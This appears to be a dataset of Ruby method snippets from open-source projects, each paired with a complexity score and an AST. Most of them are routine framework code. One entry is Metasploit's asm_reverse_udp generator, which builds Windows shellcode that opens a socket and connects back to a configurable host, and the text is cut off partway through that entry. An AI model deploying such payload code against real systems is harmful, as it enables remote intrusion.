{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/for_tag_test.rb","start_line":394,"raw_source":"def test_spacing_with_variable_naming_in_for_loop\n    expected = '12345'\n    template = '{% for       item   in   items %}{{item}}{% endfor %}'\n    assigns  = { 'items' => [1, 2, 3, 4, 5] }\n    assert_template_result(expected, template, assigns)\n  end","complexity_score":5.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_spacing_with_variable_naming_in_for_loop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"12345\"]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"str\",\"children\":[\"{% for       item   in   items %}{{item}}{% endfor %}\"]}]},{\"type\":\"lvasgn\",\"children\":[\"assigns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"items\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"lvar\",\"children\":[\"assigns\"]}]}]}]}","id":"04171c89-ea51-426d-bada-9e1d0fb7484d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/holidays/finder/context/search.rb","start_line":64,"raw_source":"def observed_set?(options)\n          options && options.include?(:observed) == true\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"observed_set?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"observed\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"cda8e6a7-7c85-4f08-a382-6de70c34e467"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_plugin_serializer.rb","start_line":39,"raw_source":"def version\n    object.metadata.version\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"metadata\"]},\"version\"]}]}","id":"b6caeb99-d45c-4850-930b-e5a751b27470"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/multiline_ternary_operator.rb","start_line":44,"raw_source":"def on_if(node)\n          return unless offense?(node)\n\n          message = enforce_single_line_ternary_operator?(node) ? MSG_SINGLE_LINE : MSG_IF\n\n          add_offense(node, message: message) do |corrector|\n            next if part_of_ignored_node?(node)\n\n            autocorrect(corrector, node)\n\n            ignore_node(node)\n          end\n        end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_if\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"offense?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enforce_single_line_ternary_operator?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"const\",\"children\":[null,\"MSG_SINGLE_LINE\"]},{\"type\":\"const\",\"children\":[null,\"MSG_IF\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"part_of_ignored_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"ignore_node\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}]}","id":"69493c39-8e0f-4f2d-9a74-fe5cb668ff3e"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/public/api/v1/portals/categories_controller.rb","start_line":11,"raw_source":"def show\n    @og_image_url = helpers.set_og_image_url(@portal.name, @category.name)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@og_image_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"set_og_image_url\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@portal\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@category\"]},\"name\"]}]}]}]}","id":"533ca4de-937b-4727-87b1-54a8e37f3165"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_builder.rb","start_line":29,"raw_source":"def builder(&block)\n    Rack::Lint.new Rack::Builder.new(&block)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"builder\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Lint\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Builder\"]},\"new\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"a852a02f-9ece-4081-a604-784aa23d1546"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/blob_pairs_diffs.rb","start_line":32,"raw_source":"def diff_files_by_blob_pairs(blob_pairs, changed_paths, diff_refs)\n        non_submodule_paths = changed_paths.reject(&:submodule_change?)\n        diff_blobs = @raw_repository.diff_blobs(blob_pairs, patch_bytes_limit: Gitlab::Git::Diff.patch_hard_limit_bytes)\n\n        changed_diff_blobs = diff_blobs.zip(non_submodule_paths)\n        changed_diff_blobs = changed_diff_blobs.reject { |diff_blob, path| diff_blob.nil? || path.nil? }\n\n        diff_blob_lookup = changed_diff_blobs.to_h { |diff_blob, path| [path.path, diff_blob] }\n\n        changed_paths.filter_map do |changed_path|\n          if changed_path.submodule_change?\n            create_diff(changed_path, diff_refs, diff: generate_submodule_diff(changed_path))\n          else\n            diff_blob = diff_blob_lookup[changed_path.path]\n            next if diff_blob.nil?\n\n            create_diff(changed_path, diff_refs, diff: diff_blob.patch, too_large: diff_blob.over_patch_bytes_limit)\n          end\n        end.compact\n      end","complexity_score":40.6,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_files_by_blob_pairs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blob_pairs\"]},{\"type\":\"arg\",\"children\":[\"changed_paths\"]},{\"type\":\"arg\",\"children\":[\"diff_refs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"non_submodule_paths\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed_paths\"]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"submodule_change?\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"diff_blobs\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_repository\"]},\"diff_blobs\",{\"type\":\"lvar\",\"children\":[\"blob_pairs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"patch_bytes_limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Diff\"]},\"patch_hard_limit_bytes\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"changed_diff_blobs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_blobs\"]},\"zip\",{\"type\":\"lvar\",\"children\":[\"non_submodule_paths\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"changed_diff_blobs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed_diff_blobs\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff_blob\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_blob\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"nil?\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"diff_blob_lookup\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed_diff_blobs\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff_blob\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"diff_blob\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed_paths\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"changed_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed_path\"]},\"submodule_change?\"]},{\"type\":\"send\",\"children\":[null,\"create_diff\",{\"type\":\"lvar\",\"children\":[\"changed_path\"]},{\"type\":\"lvar\",\"children\":[\"diff_refs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff\"]},{\"type\":\"send\",\"children\":[null,\"generate_submodule_diff\",{\"type\":\"lvar\",\"children\":[\"changed_path\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_blob\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_blob_lookup\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed_path\"]},\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_blob\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"create_diff\",{\"type\":\"lvar\",\"children\":[\"changed_path\"]},{\"type\":\"lvar\",\"children\":[\"diff_refs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_blob\"]},\"patch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"too_large\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_blob\"]},\"over_patch_bytes_limit\"]}]}]}]}]}]}]},\"compact\"]}]}]}","id":"43c4726a-8dbf-493d-a392-157596114626"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/directories_controller.rb","start_line":54,"raw_source":"def account_domain_block_scope\n    Account.not_domain_blocked_by_account(current_account)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"account_domain_block_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"not_domain_blocked_by_account\",{\"type\":\"send\",\"children\":[null,\"current_account\"]}]}]}","id":"e0437b63-93a7-40c4-a14c-788d504ba7d8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb","start_line":129,"raw_source":"def quote_table_name(table_name)\n        self.class.quote_table_name(table_name)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"quote_table_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]}","id":"4352ccf9-b887-47e8-8e6b-c52c955958e8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/forks_controller.rb","start_line":43,"raw_source":"def new\n    respond_to do |format|\n      format.html do\n        @own_namespace = current_user.namespace if can_fork_to?(current_user.namespace)\n        @project = project\n      end\n\n      format.json do\n        namespaces = load_namespaces_with_associations - [project.namespace]\n\n        namespaces = [current_user.namespace] + namespaces if can_fork_to?(current_user.namespace)\n\n        render json: {\n          namespaces: ForkNamespaceSerializer.new.represent(\n            namespaces,\n            project: project,\n            current_user: current_user,\n            memberships: memberships_hash,\n            forked_projects: forked_projects_by_namespace(namespaces)\n          )\n        }\n      end\n    end\n  end","complexity_score":53.1,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_fork_to?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"namespace\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@own_namespace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"namespace\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"namespaces\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_namespaces_with_associations\"]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_fork_to?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"namespace\"]}]},{\"type\":\"lvasgn\",\"children\":[\"namespaces\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"namespace\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"namespaces\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespaces\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ForkNamespaceSerializer\"]},\"new\"]},\"represent\",{\"type\":\"lvar\",\"children\":[\"namespaces\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memberships\"]},{\"type\":\"send\",\"children\":[null,\"memberships_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"forked_projects\"]},{\"type\":\"send\",\"children\":[null,\"forked_projects_by_namespace\",{\"type\":\"lvar\",\"children\":[\"namespaces\"]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}","id":"4925049b-cd93-4654-93df-442b038166d9"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/upload_screenshots.rb","start_line":273,"raw_source":"def self.calculate_checksum(path)\n      bytes = File.binread(path)\n      Digest::MD5.hexdigest(bytes)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"calculate_checksum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binread\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"bytes\"]}]}]}]}","id":"bb12470a-3527-4d59-b5f8-c72168f6f45d"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations/clusivity.rb","start_line":21,"raw_source":"def include?(record, value)\n        members = resolve_value(record, delimiter)\n\n        if value.is_a?(Array)\n          value.all? { |v| members.public_send(inclusion_method(members), v) }\n        else\n          members.public_send(inclusion_method(members), value)\n        end\n      end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"include?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"members\",{\"type\":\"send\",\"children\":[null,\"resolve_value\",{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"send\",\"children\":[null,\"delimiter\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"public_send\",{\"type\":\"send\",\"children\":[null,\"inclusion_method\",{\"type\":\"lvar\",\"children\":[\"members\"]}]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"public_send\",{\"type\":\"send\",\"children\":[null,\"inclusion_method\",{\"type\":\"lvar\",\"children\":[\"members\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"0e9a1e4d-4157-4549-83f2-f4a208e87fee"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_response.rb","start_line":641,"raw_source":"def each\n        buffer = String.new\n\n        while @file.read(5, buffer)\n          yield(buffer)\n        end\n      end","complexity_score":5.53,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"new\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@file\"]},\"read\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"lvar\",\"children\":[\"buffer\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]}]}]}]}]}","id":"77bc0035-28ff-4a83-88e1-dc456bad6ea6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/reverse_udp.rb","start_line":63,"raw_source":"def asm_reverse_udp(opts={})\n\n    retry_count  = [opts[:retry_count].to_i, 1].max\n    encoded_port = \"0x%.8x\" % [opts[:port].to_i,2].pack(\"vn\").unpack(\"N\").first\n    encoded_host = \"0x%.8x\" % Rex::Socket.addr_aton(opts[:host]||\"127.127.127.127\").unpack(\"V\").first\n\n    asm = %Q^\n      ; Input: EBP must be the address of 'api_call'.\n      ; Output: EDI will be the socket for the connection to the server\n      ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)\n\n      reverse_udp:\n        push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.\n        push 'ws2_'             ; ...\n        push esp                ; Push a pointer to the \"ws2_32\" string on the stack.\n        push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n        call ebp                ; LoadLibraryA( \"ws2_32\" )\n\n        mov eax, 0x0190         ; EAX = sizeof( struct WSAData )\n        sub esp, eax            ; alloc some space for the WSAData structure\n        push esp                ; push a pointer to this struct\n        push eax                ; push the wVersionRequested parameter\n        push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}\n        call ebp                ; WSAStartup( 0x0190, &WSAData );\n\n      set_address:\n        push #{retry_count}     ; retry counter\n\n      create_socket:\n        push #{encoded_host}    ; host in little-endian format - #{opts[:host]}\n        push #{encoded_port}    ; family AF_INET and port number - #{opts[:port]}\n        mov esi, esp            ; save pointer to sockaddr struct\n\n        push eax                ; if we succeed, eax will be zero, push zero for the flags param.\n        push eax                ; push null for reserved parameter\n        push eax                ; we do not specify a WSAPROTOCOL_INFO structure\n        push eax                ; we do not specify a protocol\n        inc eax                 ;\n        inc eax                 ;\n        push eax                ; push SOCK_DGRAM (UDP socket)\n        push eax                ; push AF_INET\n        push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}\n        call ebp                ; WSASocketA( AF_INET, SOCK_DGRAM, 0, 0, 0, 0 );\n        xchg edi, eax           ; save the socket for later, don't care about the value of eax after this\n\n      try_connect:\n        push 16                 ; length of the sockaddr struct\n        push esi                ; pointer to the sockaddr struct\n        push edi                ; the socket\n        push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}\n        call ebp                ; connect( s, &sockaddr, 16 );\n\n        test eax,eax            ; non-zero means a failure\n        jz connected\n\n      handle_connect_failure:\n        ; decrement our attempt count and try again\n        dec [esi+8]\n        jnz try_connect\n    ^\n\n    if opts[:exitfunk]\n      asm << %Q^\n      failure:\n        call exitfunk\n      ^\n    else\n      asm << %Q^\n      failure:\n        push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}\n        call ebp\n      ^\n    end\n\n    asm << %Q^\n      ; this label is required so that reconnect attempts include\n      ; the UUID stuff if required.\n      connected:\n    ^\n\n    # UDP receivers need to read something from the new socket\n    if include_send_uuid\n      asm << asm_send_uuid\n    else\n      asm << asm_send_newline\n    end\n\n    asm\n  end","complexity_score":46.55,"ast_json":"{\"type\":\"def\",\"children\":[\"asm_reverse_udp\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retry_count\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"retry_count\"]}]},\"to_i\"]},{\"type\":\"int\",\"children\":[1]}]},\"max\"]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_port\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"0x%.8x\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]},\"to_i\"]},{\"type\":\"int\",\"children\":[2]}]},\"pack\",{\"type\":\"str\",\"children\":[\"vn\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"N\"]}]},\"first\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_host\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"0x%.8x\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"addr_aton\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\"127.127.127.127\"]}]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"first\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      ; Input: EBP must be the address of 'api_call'.\\n\"]},{\"type\":\"str\",\"children\":[\"      ; Output: EDI will be the socket for the connection to the server\\n\"]},{\"type\":\"str\",\"children\":[\"      ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      reverse_udp:\\n\"]},{\"type\":\"str\",\"children\":[\"        push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.\\n\"]},{\"type\":\"str\",\"children\":[\"        push 'ws2_'             ; ...\\n\"]},{\"type\":\"str\",\"children\":[\"        push esp                ; Push a pointer to the \\\"ws2_32\\\" string on the stack.\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"LoadLibraryA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        call ebp                ; LoadLibraryA( \\\"ws2_32\\\" )\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        mov eax, 0x0190         ; EAX = sizeof( struct WSAData )\\n\"]},{\"type\":\"str\",\"children\":[\"        sub esp, eax            ; alloc some space for the WSAData structure\\n\"]},{\"type\":\"str\",\"children\":[\"        push esp                ; push a pointer to this struct\\n\"]},{\"type\":\"str\",\"children\":[\"        push eax                ; push the wVersionRequested parameter\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"ws2_32.dll\"]},{\"type\":\"str\",\"children\":[\"WSAStartup\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        call ebp                ; WSAStartup( 0x0190, &WSAData );\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      set_address:\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retry_count\"]}]},{\"type\":\"str\",\"children\":[\"     ; retry counter\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      create_socket:\\n\"]},{\"type\":\"str\",\"children\":[\"        push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_host\"]}]},{\"type\":\"str\",\"children\":[\"    ; host in little-endian format - 